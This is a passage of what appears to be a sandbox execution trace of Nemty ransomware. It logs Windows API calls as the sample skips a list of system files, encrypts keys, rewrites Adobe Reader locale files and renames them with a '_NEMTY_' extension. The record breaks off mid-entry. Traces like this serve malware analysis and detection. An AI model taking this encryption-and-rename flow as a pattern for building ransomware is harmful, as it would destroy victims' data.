WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HRV", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HRV", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.704] Sleep (dwMilliseconds=0x5) [0177.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d9274b0, dwHighDateTime=0x1d561e8)) [0177.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d9274b0, dwHighDateTime=0x1d561e8)) [0177.713] GetLastError () returned 0x0 [0177.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.713] GetLastError () returned 0x0 [0177.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.713] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.713] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.713] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.713] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="5MjLkNli6smAdGtsH4sd/pf5xMf8mYGCe4eY0jZZUiRfI0K864uDR4fvYlNlPm/1\r\nooLxv5BT13DpgDWPQRjc1jDmYTsYcOut3qaxFr8ieiHBnSn1YNmCossix3K8SnZC\r\nR8H2xGzsSNSlTj7rgzKfjhImX5m2KrTPz6RYZJoS7cyHuE6/KOmmifWs5+WOraD5\r\nBc6VI//sD4lzVpFCh5Vt/rQYHbKCf+3dZYB7gBK90eCQbtVjn024xSAjK0tbNiZ7\r\n18+Ei7xYU5T8dySR+hSlHvYGLPlNgL8/ySY7QOCiQMkIMnAYlQ+z7Omd6khKeCRP\r\nlZ3Ev8hsGCQDSF+eFe2elQ==\r\n", pcchString=0x653e5dc) returned 1 [0177.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.714] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Search.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\search.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.714] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=23552) returned 1 [0177.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5c00) returned 0x6352c48 [0177.714] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.714] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5c00, lpOverlapped=0x0) returned 1 [0177.717] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.717] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5c00, lpOverlapped=0x0) returned 1 [0177.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.717] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0177.717] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.717] CloseHandle (hObject=0x2e8) returned 1 [0177.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0177.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.718] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Search.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\search.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Search.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\search.hrv._nemty_kgobjgd_")) returned 1 [0177.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0177.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.718] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.HRV", cAlternateFileName="")) returned 1 [0177.718] lstrcmpiW (lpString1="SendMail.HRV", lpString2=".") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="..") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="...") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="windows") returned -1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="rsa") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="NTDETECT.COM") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="ntldr") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="MSDOS.SYS") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="IO.SYS") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="boot.ini") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="boot.ini") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="ntuser.dat") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="desktop.ini") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="CONFIG.SYS") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="RECYCLER") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="bootmgr") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="programdata") returned 1 [0177.719] lstrcmpiW (lpString1="SendMail.HRV", lpString2="appdata") returned 1 [0177.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HRV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HRV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HRV", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HRV", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.720] Sleep (dwMilliseconds=0x5) [0177.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d94d610, dwHighDateTime=0x1d561e8)) [0177.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d94d610, dwHighDateTime=0x1d561e8)) [0177.729] GetLastError () returned 0x0 [0177.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.729] GetLastError () returned 0x0 [0177.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.729] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.729] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.729] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.729] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="iLSQKIQ1CCkN7QOfNCo9Y6C6dzg4TIV0OCRQrk2DbRkJ2uZB5s/HYVVT2Nl5hNrU\r\n2pEDwF+PV0xsBdBix2yX61rwVkN6/8E1MqO9McdfXN++7y8IsDRd3w2JbcT/Xfm5\r\nub3dTfMkDLDZrhAgYeSLnEWHOH7qfeAZ34FON7jnDhBIY4JOXXZTz7T7ef6HacNh\r\nhqLixBlI0bKiYfyaXNO0RXSHVxoEDxSALknt0qAoUm3XuaZ3dQ7CpNgUN+SDpw9i\r\nWUA1JLmv/1WCO61OR6yn4BAlFaeNGZEsyTXiYVUUjmtasBYq14I4SK921F1JiWp5\r\nH2Q1m554BSBNniOKNCdEMw==\r\n", pcchString=0x653e5dc) returned 1 [0177.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.729] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SendMail.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\sendmail.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.730] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15360) returned 1 [0177.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3c00) returned 0x6352c48 [0177.730] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.730] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3c00, lpOverlapped=0x0) returned 1 [0177.732] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.732] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3c00, lpOverlapped=0x0) returned 1 [0177.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.733] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c00 [0177.733] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.733] CloseHandle (hObject=0x2e8) returned 1 [0177.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.733] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SendMail.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\sendmail.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SendMail.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\sendmail.hrv._nemty_kgobjgd_")) returned 1 [0177.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.734] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0177.734] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0177.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0177.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 